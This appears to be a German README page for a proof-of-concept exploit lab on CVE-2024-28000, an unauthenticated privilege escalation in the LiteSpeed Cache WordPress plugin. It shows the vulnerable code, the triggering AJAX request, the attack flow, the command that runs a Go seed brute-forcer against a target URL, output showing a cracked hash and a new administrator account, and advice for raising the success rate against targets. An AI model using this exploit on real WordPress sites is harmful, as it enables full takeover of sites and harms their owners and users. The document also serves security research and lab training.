Zurück zu den Updates
UpdatedAug 7, 2026

CVE-2024-28000 — Updated!

Praxisnahes Exploit-Lab für CVE-2024-28000 — unauthentifizierte Rechteausweitung in LiteSpeed Cache (WordPress-Plugin, <=6.3.0.1). Startet eine verwundbare Umgebung mit Docker und enthält einen Go-basierten Brute-Forcer, der den schwachen mt_rand-Hash knackt, um ein Administrator-Konto zu erstellen.

Teilen

CVE-2024-28000 - LiteSpeed Cache Privilege Escalation PoC

[!WARNING] Dieses Repository ist ausschließlich für Bildungs- und Forschungszwecke gedacht.

  • Verwende den bereitgestellten PoC ausschließlich auf Systemen, die dir gehören oder für die du eine ausdrückliche Genehmigung zum Testen hast.
  • Unbefugter Zugriff, die Ausnutzung oder der Missbrauch jeglichen Materials in diesem Repository ist illegal.
  • Die Autor(en) übernehmen keine Verantwortung für Schäden, Missbrauch oder rechtliche Konsequenzen, die aus unsachgemäßer Verwendung entstehen.

Überblick

CVE-2024-28000 ist eine kritische unauthentifizierte Privilegieneskalations-Schwachstelle, die das LiteSpeed Cache Plugin für WordPress betrifft. Die Schwachstelle resultiert aus einem schwachen hash-basierten Authentifizierungsmechanismus in der Crawler-Rollensimulationsfunktion des Plugins, wodurch ein vollständig unauthentifizierter Angreifer einen WordPress-Administrator imitieren und die vollständige Kontrolle über die Website übernehmen kann.


Wie die Schwachstelle funktioniert

Das LiteSpeed Cache Plugin enthält einen Crawler, der den Website-Cache vorwärmt, indem er Seiten als verschiedene Benutzerrollen besucht. Um den Crawler zu authentifizieren, generiert das Plugin einen kurzen Hash und speichert ihn in der WordPress-Options-Tabelle. Jede Anfrage, die diesen Hash in einem Cookie präsentiert, erhält die in einem zweiten Cookie angegebene Benutzerrolle.

Drei Designfehler kombinieren sich, um dies ausnutzbar zu machen:

Fehler 1 - Unauthentifizierter Hash-Trigger

Die AJAX-Aktion, die den Hash generiert, ist für unauthentifizierte Benutzer ohne Capability- oder Nonce-Prüfung registriert:

// src/router.cls.php
add_action('wp_ajax_nopriv_async_litespeed', [$this, 'async_litespeed_handler']);

public function async_litespeed_handler() {
    // No capability check
    // No nonce verification
    // Any visitor can call this

    $type = sanitize_key($_POST['litespeed_type'] ?? '');

    if ($type === 'crawler') {
        $hash = Str::rrand(6);
        self::update_option(self::ITEM_HASH, $hash);
    }
    wp_die();
}

Ein Angreifer löst dies aus, indem er Folgendes sendet:

POST /wp-admin/admin-ajax.php
action=async_litespeed&litespeed_type=crawler

Fehler 2 - Vorhersehbarer Hash (Seed-Raum von nur 1.000.000)

Der Hash wird mit PHPs mt_rand() generiert, das mit der Mikrosekunden-Komponente der aktuellen Zeit geseedet wird:

// src/str.cls.php
public static function rrand($len, $type = 7) {
    mt_srand((int) ((float) microtime() * 1000000));
    //       seed = microseconds = 0 to 999,999 only

    $charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $str = '';
    for ($i = 0; $i < $len; $i++) {
        $str .= $charlist[mt_rand(0, strlen($charlist) - 1)];
    }
    return $str;
}

microtime() gibt nur den Sekundenbruchteil zurück (z. B. 0.523847). Multipliziert mit 1.000.000 ergibt dies einen Seed zwischen 0 und 999.999 - unabhängig von der Tageszeit. Ein Angreifer, der die Hash-Generierung selbst auslöst, kennt die ungefähre Generierungszeit und kann alle 1 Million Seeds in Minuten brute-forcen.

Fehler 3 - Keine Ratenbegrenzung bei der Verifizierung

Das Plugin verifiziert den Hash bei jeder Anfrage mit einem einfachen String-Vergleich und ohne Sperrung oder Ratenbegrenzung:

// src/router.cls.php
public function is_role_simulation() {
    if (empty($_COOKIE['litespeed_hash'])) return;

    $hash = self::get_option(self::ITEM_HASH);

    // Simple string compare - no rate limiting, no IP check, no lockout
    if ($_COOKIE['litespeed_hash'] !== $hash) return;

    $role_id = isset($_COOKIE['litespeed_role']) ? (int)$_COOKIE['litespeed_role'] : 0;
    wp_set_current_user($role_id); // attacker becomes admin (ID = 1)
}

Vollständiger Angriffsablauf

sequenceDiagram
    participant A as Attacker
    participant W as LiteSpeed Cache / WordPress
    A->>W: POST /wp-admin/admin-ajax.php
    W->>W: Seed mt_rand() with microtime()
    W->>W: Generate & store litespeed_hash
    A->>A: Brute-force PRNG seed
    A->>A: Replicate PHP mt_rand() in Go
    A->>A: Recover litespeed_hash
    A->>W: Cookie: litespeed_hash=<recovered_hash>
    A->>W: Cookie: litespeed_role=1
    W->>W: verify_hash()
    W->>W: wp_set_current_user(1)
    A->>W: POST /index.php?rest_route=/wp/v2/users
    W-->>A: Administrator account created
    A->>W: Login with new Administrator account
    Note over A,W: Full Site Compromise

Lab-Einrichtung

Voraussetzungen

  • Docker
  • Go 1.21+

Installation

# Clone the repository
git clone https://github.com/AliHzSec/CVE-2024-28000.git

# Change directory
cd CVE-2024-28000

# Set your server IP ( replace with YOUR_ACTUAL_IP ):
sed -i 's/YOUR_SERVER_IP/YOUR_ACTUAL_IP/g' lab/docker-compose.yml

# Build and start:
cd lab && docker compose up -d --build

# Watch setup progress:
docker compose logs -f wordpress

Warte, bis du Folgendes siehst:

============================================================
 Lab ready!
 Admin  : http://YOUR_IP/wp-admin
 Login  : admin / admin123
 Plugin : LiteSpeed Cache 6.3.0.1 (CVE-2024-28000)
============================================================

Verwendung

Exploit ausführen

cd expl && go run main.go -url http://TARGET_IP/ -threads 40

Erwartete Ausgabe

============================================================
 CVE-2024-28000 - LiteSpeed Cache Privilege Escalation PoC
============================================================
 Target  : https://TARGET_IP/
 Seeds   : 0 to 999999 (1000000 total)
 Threads : 40
 Timeout : 5s
============================================================

[INF] Self-test passed - MT19937 output matches PHP (11 seeds verified)
[INF] Sanity check passed - endpoint returns 401 for wrong hash
[INF] Hash generation triggered successfully
[INF] Waiting 1 second for hash to be stored...
[INF] Starting brute-force with 40 threads...
[INF] [Thread  5] Testing seed 100000
[INF] [Thread  7] Testing seed 150000
[INF] [Thread  9] Testing seed 200000
[INF] [Thread  3] Testing seed 50000
[INF] [Thread 27] Testing seed 650000
[INF] [Thread 25] Testing seed 600000
[INF] [Thread 11] Testing seed 250000
[INF] [Thread 21] Testing seed 500000
[INF] [Thread 17] Testing seed 400000
[INF] [Thread 19] Testing seed 450000
[INF] [Thread 13] Testing seed 300000
[INF] [Thread 31] Testing seed 750000
[INF] [Thread 15] Testing seed 350000
[INF] [Thread  1] Testing seed 0
[INF] [Thread 33] Testing seed 800000
[INF] [Thread 23] Testing seed 550000
[INF] [Thread 37] Testing seed 900000
[INF] [Thread 39] Testing seed 950000
[INF] [Thread 35] Testing seed 850000
[INF] [Thread 29] Testing seed 700000

[+] Hash cracked : 2M0Aty (seed: 554242)
[+] Username     : test_lab_user
[+] Password     : test_lab_pass
[+] Login at     : https://TARGET_IP/wp-login.php
[INF] Completed in 2831.14s

[!IMPORTANT] Der Hash hat kein Ablaufdatum, kann aber vom integrierten Crawler von LiteSpeed neu generiert werden.

  • Wenn der Crawler aktiv ist (Standardintervall: alle 10 Minuten), wird der in der Datenbank gespeicherte Hash automatisch ersetzt - was dazu führt, dass der Brute-Force-Angriff fehlschlägt, da er Seeds für den alten Hash testet.
  • Wenn der Crawler deaktiviert ist, bleibt der Hash unbegrenzt bestehen und die Thread-Anzahl beeinflusst nur die Geschwindigkeit, nicht den Erfolg.
  • Um die Erfolgsrate zu maximieren: Löse die Hash-Generierung aus und führe den Exploit sofort aus, mit so vielen Threads, wie das Ziel verarbeiten kann.
  • Anzeichen dafür, dass der Hash während des Angriffs rotiert wurde: Alle 1.000.000 Seeds sind erschöpft, ohne Ergebnis, obwohl die Sanity-Prüfung beim Start erfolgreich war.

Kategorien